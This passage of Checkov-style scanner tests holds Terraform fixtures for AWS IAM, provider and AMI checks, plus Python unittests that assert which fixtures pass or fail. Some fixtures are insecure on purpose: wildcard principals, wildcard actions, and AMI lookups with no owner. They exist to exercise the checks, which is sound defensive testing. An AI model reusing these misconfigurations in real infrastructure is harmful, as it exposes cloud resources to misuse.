    "content": "resource \"aws_sns_topic\" \"some-topic\" {}\n\ndata \"aws_iam_policy_document\" \"fail\" {\n  statement {\n\n    actions = [\"sns:Publish\"]\n\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"*\"]\n    }\n    resources = [aws_sns_topic.some-topic.arn]\n  }\n}\n\n\ndata \"aws_iam_policy_document\" \"pass\" {\n  statement {\n\n    actions = [\"sns:Publish\"]\n\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"some:arn\"]\n    }\n    resources = [aws_sns_topic.some-topic.arn]\n  }\n}\n\n\ndata \"aws_iam_policy_document\" \"pass3\" {\n  statement {\n\n    actions = [\"sns:Publish\"]\n\n    principals {\n      type        = \"AWS\"\n      identifiers = 3\n    }\n    resources = [aws_sns_topic.some-topic.arn]\n  }\n}\n\n\ndata \"aws_iam_policy_document\" \"pass1\" {\n  statement {\n\n    actions = [\"sns:Publish\"]\n\n    principals {\n      type        = \"AWS\"\n      identifiers = []\n    }\n    resources = [aws_sns_topic.some-topic.arn]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"pass2\" {\n  statement {\n\n    actions = [\"sns:Publish\"]\n\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"*\"]\n    }\n\n    condition {\n      test     = \"ArnLike\"\n      values   = [\"arn:aws:service:region:accountId:resourceType/resourceId\"]\n      variable = \"aws:PrincipalArn\"\n    }\n    resources = [aws_sns_topic.some-topic.arn]\n  }\n}\n\n\ndata \"aws_iam_policy_document\" \"fail2\" {\n  statement {\n\n    actions = [\"sns:Publish\"]\n\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"*\"]\n    }\n\n    condition {\n      test     = \"ArnLike\"\n      values   = [\"arn:aws:service:region:accountId:resourceType/resourceId\"]\n      variable = \"aws:PrincipalArn\"\n    }\n    resources = [aws_sns_topic.some-topic.arn]\n  }\n\n  statement {\n    actions = [\"sns:Publish\"]\n\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"*\"]\n    }\n\n    resources = [aws_sns_topic.some-topic.arn]\n  }\n}\n\n\ndata \"aws_iam_policy_document\" \"pass4\" {\n   statement {\n     sid = \"DenyObjectDelete\"\n\n     principals {\n       type        = \"AWS\"\n       identifiers = [\"*\"]\n     }\n\n     effect = \"Deny\"\n     actions = [\"s3:DeleteObject\"]\n     resources = [\"${aws_s3_bucket.migrations.arn}/*\"]\n   }\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_ModuleProvider/example/main.tf",
    "content": "resource \"aws_s3_bucket\" \"bucket\"{\n bucket = \"module-bucket\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_ModuleProvider/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-west-1\"\n}\nprovider \"aws\" {\n  alias  = \"usw2\"\n  region = \"us-west-2\"\n}\n\n# The resources in the Provider block are not explicitly associated to this resource.\nmodule \"example\" {\n  source    = \"./example\"\n  providers = {\n    aws = aws.usw2\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_ResourcePolicyDocument/main.tf",
    "content": "data \"aws_iam_policy_document\" \"fail\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"s3:Describe*\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"pass2\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Deny\"\n    actions = [\n      \"s3:Describe*\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"pass\" {\n  statement {\n    sid = \"1\"\n\n    actions = [\n      \"s3:ListAllMyBuckets\",\n      \"s3:GetBucketLocation\",\n    ]\n\n    resources = [\n      \"arn:aws:s3:::*\",\n    ]\n  }\n\n  statement {\n    actions = [\n      \"s3:ListBucket\",\n    ]\n\n    resources = [\n      \"arn:aws:s3:::${var.s3_bucket_name}\",\n    ]\n\n    condition {\n      test     = \"StringLike\"\n      variable = \"s3:prefix\"\n\n      values = [\n        \"\",\n        \"home/\",\n        \"home/&{aws:username}/\",\n      ]\n    }\n  }\n\n  statement {\n    actions = [\n      \"s3:*\",\n    ]\n\n    resources = [\n      \"arn:aws:s3:::${var.s3_bucket_name}/home/&{aws:username}\",\n      \"arn:aws:s3:::${var.s3_bucket_name}/home/&{aws:username}/*\",\n    ]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"pass_unrestrictable\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"s3:ListAllMyBuckets\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"pass_condition\" {\n  statement {\n    actions = [\n      \"kms:GenerateDataKey\",\n      \"kms:Decrypt\"\n    ]\n    resources = [\n      \"*\"\n    ]\n\n    condition {\n      test     = \"ArnEquals\"\n      variable = \"aws:SourceArn\"\n      values   = [\n        \"arn\"\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_StarActionPolicyDocument/main.tf",
    "content": "# pass\n\ndata \"aws_iam_policy_document\" \"flatten\" {\n  version = \"2012-10-17\"\n\n  statement = flatten(var.policy_json, [])\n}\n\ndata \"aws_iam_policy_document\" \"pass\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"s3:*\",\n    ]\n    resources = [\n      \"arn:aws:s3:::my_corporate_bucket/*\",\n    ]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"unknown\" {\n  version = \"2012-10-17\"\n\n  statement = [{\n    actions = [\n      \"s3:GetObject\"\n    ]\n    resources = [\n      \"${aws_s3_bucket.default.arn}/*\"\n    ]\n\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"*\"]\n    }\n  }]\n\n  # Support replication ARNs\n  statement = [\"${flatten(data.aws_iam_policy_document.replication.*.statement)}\"]\n\n  # Support deployment ARNs\n  statement = [\"${flatten(data.aws_iam_policy_document.deployment.*.statement)}\"]\n}\n\n# fail\n\ndata \"aws_iam_policy_document\" \"fail\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"*\"\n    ]\n    resources = [\n      \"arn:aws:s3:::my_corporate_bucket/*\",\n    ]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"no_effect\" {\n  version = \"2012-10-17\"\n\n  statement {\n    actions = [\n      \"*\"\n    ]\n    resources = [\n      \"arn:aws:s3:::my_corporate_bucket/*\",\n    ]\n  }\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_WhoAMI/main.tf",
    "content": "# Vulnerable - no owner and '*' in name\ndata \"aws_ami\" \"fail1\" {\n  most_recent = true\n\n  filter {\n    name   = \"name\"\n    values = [\"ubuntu/images/hvm-ssd/ubuntu-*-amd64-server\"]\n  }\n\n  filter {\n    name   = \"virtualization-type\"\n    values = [\"hvm\"]\n  }\n}\n\n# Vulnerable - no owner and '?' in name\ndata \"aws_ami\" \"fail2\" {\n  most_recent = true\n\n  filter {\n    name   = \"name\"\n    values = [\"ubuntu/images/hvm-ssd/ubuntu-20.04-amd64-server-202?\"]\n  }\n\n  filter {\n    name   = \"virtualization-type\"\n    values = [\"hvm\"]\n  }\n}\n\n# Safe - has owner specified\ndata \"aws_ami\" \"pass1\" {\n  most_recent = true\n  owners      = [\"099720109477\"]  # Canonical Ubuntu owner ID\n\n  filter {\n    name   = \"name\"\n    values = [\"ubuntu/images/hvm-ssd/ubuntu-*-amd64-server\"]  # Even with wildcard, it's safer because owner is specified\n  }\n\n  filter {\n    name   = \"virtualization-type\"\n    values = [\"hvm\"]\n  }\n}\n\n# Safe - specific AMI name, no wildcards\ndata \"aws_ami\" \"pass2\" {\n  most_recent = true\n\n  filter {\n    name   = \"name\"\n    values = [\"ubuntu/images/hvm-ssd/ubuntu-20.04-amd64-server-20230517\"]  # Specific version\n  }\n\n  filter {\n    name   = \"virtualization-type\"\n    values = [\"hvm\"]\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_module_with_one_provider/example/main.tf",
    "content": "resource \"aws_s3_bucket\" \"bucket\"{\n bucket = \"module-bucket\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_module_with_one_provider/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-west-1\"\n}\n\n# The resources in the Provider block are not explicitly associated to this resource.\nmodule \"example\" {\n  source    = \"./example\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_edge_case/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-west-1\"\n  skip_credentials_validation = true\n  skip_requesting_account_id  = true\n  skip_metadata_api_check     = true\n#  s3_force_path_style         = true\n  access_key                  = \"mock_access_key\"\n  secret_key                  = \"mock_secret_key\"\n}\n\nmodule \"level1\" {\n  source   = \"./nesting\"\n  }\n\n\nmodule \"level1_2\" {\n  source   = \"./nesting_2\"\n  }\n\n\nresource \"aws_s3_bucket_object\" \"this_file_2\" {\n  bucket   = \"your_bucket_name\"\n  key = \"some_key\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_edge_case/nesting/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-west-1\"\n  skip_credentials_validation = true\n  skip_requesting_account_id  = true\n  skip_metadata_api_check     = true\n#  s3_force_path_style         = true\n  access_key                  = \"mock_access_key\"\n  secret_key                  = \"mock_secret_key\"\n}\n\nprovider \"aws\" {\n  region = \"eu-west-1\"\n  alias = \"eu_west\"\n  skip_credentials_validation = true\n  skip_requesting_account_id  = true\n  skip_metadata_api_check     = true\n#  s3_force_path_style         = true\n  access_key                  = \"mock_access_key\"\n  secret_key                  = \"mock_secret_key\"\n}\n\nmodule \"level2\" {\n  source   = \"./nesting_l2\"\n}\n\nmodule \"level2_2\" {\n  source   = \"./nesting_l2_2\"\n  providers = {\n    aws =  aws.eu_west\n  }\n}\n\n\n\n\nresource \"aws_s3_bucket_object\" \"this_other_file\" {\n  bucket   = \"your_bucket_name\"\n  key      = \"key\"\n  source   = \"source\"\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_edge_case/nesting/nesting_l2/main.tf",
    "content": "\nresource \"aws_s3_bucket_object\" \"this_file_2\" {\n  bucket   = \"your_bucket_name\"\n  key = \"some_key\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_edge_case/nesting/nesting_l2_2/main.tf",
    "content": "\nresource \"aws_s3_bucket_object\" \"this_file_2\" {\n  bucket   = \"your_bucket_name\"\n  key = \"some_key\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_edge_case/nesting_2/main.tf",
    "content": "\nresource \"aws_s3_bucket_object\" \"this_file_2\" {\n  bucket   = \"your_bucket_name\"\n  key = \"some_key\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_edge_case/readme.md",
    "content": "Resources by Address:\n\nFile: /main.tf:21-24\n- aws_s3_bucket_object.this_file_2\n  - Expected `__provider_address__` == \"aws.default\"\n  - Result: aws.default\n\nFile: /nesting/main.tf:36-41\n- module.level1.aws_s3_bucket_object.this_other_file\n  - Expected `__provider_address__` == \"module.level1.aws.default\"\n  - Result: aws.default\n\n\nFile: /nesting/nesting_l2/main.tf:2-5\n- module.level1.module.level2.aws_s3_bucket_object.this_file_2\n  - Expected: `__provider_address__` == \"module.level1.aws.default\"\n  - Result: __provider_address__ does not exist\n\nFile: /nesting/nesting_l2_2/main.tf:2-5\n- module.level1.module.level2_2.aws_s3_bucket_object.this_file_2\n  - Expected: `__provider_address__` == \"module.level1.aws.eu_west\"\n  - Result: aws.eu_west\n\nFile: /nesting_2/main.tf:2-5\n- module.level1_2.aws_s3_bucket_object.this_file_2\n  - Expected: `__provider_address__` == \"aws.default\"\n  - Result: aws.default"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_with_nested_module/example/example2/main.tf",
    "content": "provider \"abbey\" {\n}\n\nprovider \"aws\" {\n region = \"\"\n alias = \"aaa\"\n}\n\nresource \"aws_s3_bucket\" \"bucket\"{\n bucket = \"module-bucket\"\n provider = \"aws.aaa\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_with_nested_module/example/main.tf",
    "content": "module \"example2\" {\n  source    = \"./example2\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_with_nested_module/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-west-1\"\n}\n\n# The resources in the Provider block are not explicitly associated to this resource.\nmodule \"example\" {\n  source    = \"./example\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_with_nested_module_assign_provider/example/example2/main.tf",
    "content": "resource \"aws_s3_bucket\" \"bucket\"{\n bucket = \"module-bucket\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_with_nested_module_assign_provider/example/main.tf",
    "content": "module \"example2\" {\n  source    = \"./example2\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_with_nested_module_assign_provider/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-west-1\"\n}\n\nprovider \"aws\" {\n  region = \"eu-west-1\"\n  alias = \"eu-west-1\"\n}\n\n# The resources in the Provider block are not explicitly associated to this resource.\nmodule \"example\" {\n  source    = \"./example\"\n  providers = {\n    aws = aws.eu-west-1\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_provider_without_module/main.tf",
    "content": "provider \"aws\" {\n  region = \"usw2\"\n}\n\nprovider \"aws\" {\n  alias = \"usw1\"\n  region = \"\"\n}\n\nresource \"aws_s3_bucket\" \"bucket\"{\n  bucket = \"bucket\"\n  provider = aws.usw1\n}\n\nresource \"aws_s3_bucket\" \"bucket_2\" {\n  bucket = \"bucket-2\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_AdminPolicyDocument.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.AdminPolicyDocument import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAdminPolicyDocument(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AdminPolicyDocument\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_document.list\",\n            \"aws_iam_policy_document.pass\",\n        }\n        failing_resources = {\n            \"aws_iam_policy_document.fail\",\n            \"aws_iam_policy_document.no_effect\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_CloudSplainingCredentialsExposure.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.IAMCredentialsExposure import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestcloudsplainingPrivilegeEscalation(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n        # needs to be reset, because the cache belongs to the class not instance\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CloudSplainingCredentialsExposure\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_document.allowed_action\",\n            \"aws_iam_policy_document.deny\",\n            \"aws_iam_policy_document.pass\",\n        }\n        failing_resources = {\n            \"aws_iam_policy_document.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(['statement/[0]/actions'], report.failed_checks[0].check_result.get('evaluated_keys'))\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_CloudSplainingDataExfiltration.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.IAMDataExfiltration import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestcloudsplainingDataExfiltration(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n        # needs to be reset, because the cache belongs to the class not instance\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CloudSplainingDataExfiltration\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_document.pass\",\n        }\n        failing_resources = {\n            \"aws_iam_policy_document.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(['statement/[0]/actions'], report.failed_checks[0].check_result.get('evaluated_keys'))\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_CloudSplainingPrivilegeEscalation.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.IAMPrivilegeEscalation import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestcloudsplainingPrivilegeEscalation(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n        # needs to be reset, because the cache belongs to the class not instance\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CloudSplainingPrivilegeEscalation\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_document.pass\",\n        }\n        failing_resources = {\n            \"aws_iam_policy_document.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(['statement/[0]/actions'], report.failed_checks[0].check_result.get('evaluated_keys'))\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_CloudsplainingIAMWrite.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.IAMWriteAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudsplainingIAMWrite(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n        # needs to be reset, because the cache belongs to the class not instance\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CloudsplainingIAMWrite\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_document.restrictable\",\n            \"aws_iam_policy_document.unrestrictable\",\n        }\n        failing_resources = {\n            \"aws_iam_policy_document.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(['statement/[0]/actions'], report.failed_checks[0].check_result.get('evaluated_keys'))\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_CloudsplainingPermissionsManagement.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.IAMPermissionsManagement import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudsplainingPermissionManagement(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n        # needs to be reset, because the cache belongs to the class not instance\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CloudsplainingPermissionsManagement\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_document.pass\",\n        }\n        failing_resources = {\n            \"aws_iam_policy_document.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(['statement/[0]/actions'], report.failed_checks[0].check_result.get('evaluated_keys'))\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_GithubActionsOIDCTrustPolicy.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.GithubActionsOIDCTrustPolicy import check\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.plan_runner import Runner as PlanRunner\n\n\nclass TestGithubActionsOIDCTrustPolicy(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_GithubActionsOIDCTrustPolicy\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_document.pass1\",\n            \"aws_iam_policy_document.pass2\",\n            \"aws_iam_policy_document.pass3\",\n            \"aws_iam_policy_document.pass-org-only\",\n            \"aws_iam_policy_document.pass_aud_first\",\n            \"aws_iam_policy_document.pass-gh-org\",\n        }\n        failing_resources = {\n            \"aws_iam_policy_document.fail1\",\n            \"aws_iam_policy_document.fail2\",\n            \"aws_iam_policy_document.fail-wildcard\",\n            \"aws_iam_policy_document.fail-abusable\",\n            \"aws_iam_policy_document.fail-wildcard-assertion\",\n            \"aws_iam_policy_document.fail-misused-repo\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_terraform_plan(self):\n        runner = PlanRunner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_path = current_dir + \"/example_GithubActionsOIDCTrustPolicy/tfplan.json\"\n        report = runner.run(files=[test_files_path], runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'module.poc.data.aws_iam_policy_document.r4[\"p1\"]',\n            'module.poc.data.aws_iam_policy_document.r4[\"p2\"]',\n            'module.poc.data.aws_iam_policy_document.r3[\"p1\"]',\n            'module.poc.data.aws_iam_policy_document.r3[\"p2\"]',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], 0)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_IAMManagedAdminPolicy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.data.aws.IAMManagedAdminPolicy import check\n\n\nclass TestIAMManagedAdminPolicy(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_IAMManagedAdminPolicy\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy.pass1\",\n            \"aws_iam_policy.pass2\",\n        }\n\n        failing_resources = {\n            \"aws_iam_policy.fail1\",\n            \"aws_iam_policy.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_IAMPublicActionsPolicy.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.IAMPublicActionsPolicy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMPublicActionsPolicy(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_IAMPublicActionsPolicy\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_document.pass\",\n            'aws_iam_policy_document.pass1',\n            \"aws_iam_policy_document.pass2\",\n            \"aws_iam_policy_document.pass3\",\n            \"aws_iam_policy_document.pass4\"\n        }\n        failing_resources = {\n            \"aws_iam_policy_document.fail\",\n            \"aws_iam_policy_document.fail2\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_ModuleProvider.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\nfrom checkov.terraform.tf_parser import TFParser\n\n\nclass TestModuleProvider(unittest.TestCase):\n    def test_module_with_two_providers(self):\n        test_files_dir = Path(__file__).parent / \"example_ModuleProvider\"\n\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM')\n        local_graph = TerraformLocalGraph(module)\n        local_graph.build_graph(True)\n\n        assert len(local_graph.edges) == 2\n        assert local_graph.vertices[0].attributes.get('__provider_address__') == local_graph.vertices[3].attributes.get('__address__')\n        assert local_graph.vertices[0].attributes.get('__provider_address__') == local_graph.vertices[3].config['aws'].get('__address__')\n        assert local_graph.edges[0].origin == 1 and local_graph.edges[0].dest == 3\n        assert local_graph.edges[1].origin == 0 and local_graph.edges[1].dest == 3\n\n    def test_module_with_one_def_provider(self):\n        test_files_dir = Path(__file__).parent / \"example_module_with_one_provider\"\n\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM')\n        local_graph = TerraformLocalGraph(module)\n        local_graph.build_graph(True)\n\n        resource_provider_address = 